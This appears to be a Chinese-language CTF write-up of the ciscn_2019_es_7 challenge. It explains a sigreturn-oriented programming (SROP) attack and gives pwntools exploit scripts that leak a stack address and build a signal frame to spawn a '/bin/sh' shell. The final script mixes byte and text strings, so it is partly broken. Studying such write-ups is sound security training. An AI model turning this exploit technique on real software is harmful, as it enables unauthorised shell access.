打开一看,我觉得是srop,具体知识不先介绍了
这是一个最简单的攻击。在这个攻击中,有4个前提条件:
第一,攻击者可以通过stack overflow等漏洞控制栈上的内容;
第二,需要知道栈的地址(比如需要知道自己构造的字符串/bin/sh的地址);
第三,需要知道syscall指令在内存中的地址;
第四,需要知道sigreturn系统调用的内存地址。
我们先要泄露buf在栈上的地址,我们能在sys_read上写0x20个,而wirte可以打印0x30的,
可以泄露
from pwn import *
from LibcSearcher import *
#sh=process("./ciscn_2019_es_7.dms")
context.arch='amd64'
sh=remote("f.buuoj.cn",20179)
syscall_ret=0x400517
read=0x4004f1
movrax_sigreturn=0x4004da
movrax_system=0x4004E2
sh.send("/bin/sh"+"\x00"*9+p64(read))
sh.recv(32)
stack_addr=u64(sh.recv(8))
log.success("stack: "+hex(stack_addr))
sh.recv(8)
调试的时候使用info proc map命令查看当前进程的内存映射
计算两者的偏移,每次加载的地址都不一样,但是泄露的栈地址和bin/sh的偏移是固定的,所以我们可以用stack_addr-0x118来表示bin/sh的地址
这里面就有了栈地址和bin/sh的地址,满足了第二个条件
找一下syscall;ret指令在内存中的地址,利用SROP构造系统调用串(System call chains),满足了第三个条件
最后找找sigreturn系统调用的内存地址
给我们把rax复制我们想要的,很贴心
条件都满足了,接下来就可以用pwntools来帮助我们生成这个Signal Frame了
pwntools可以完成
exp
from pwn import *
from LibcSearcher import *
#context.arch='amd64'
context(os='linux',arch='amd64',log_level='debug')
p=process("./ciscn_2019_es_7")
#p=remote('node3.buuoj.cn',26447)
syscall_ret=0x400517
sigreturn_addr=0x4004da
system_addr=0x4004E2
rax=0x4004f1
p.send(b"/bin/sh"+b"\x00"*9+p64(rax))
p.recv(32)
stack_addr=u64(p.recv(8))
log.success("stack: "+hex(stack_addr))
p.recv(8)
#gdb.attach(p)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr - 0x118
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
p.send(b"/bin/sh"+"\x00"*(0x1+0x8)+p64(sigreturn_addr)+p64(syscall_ret)+str(sigframe))
p.interactive()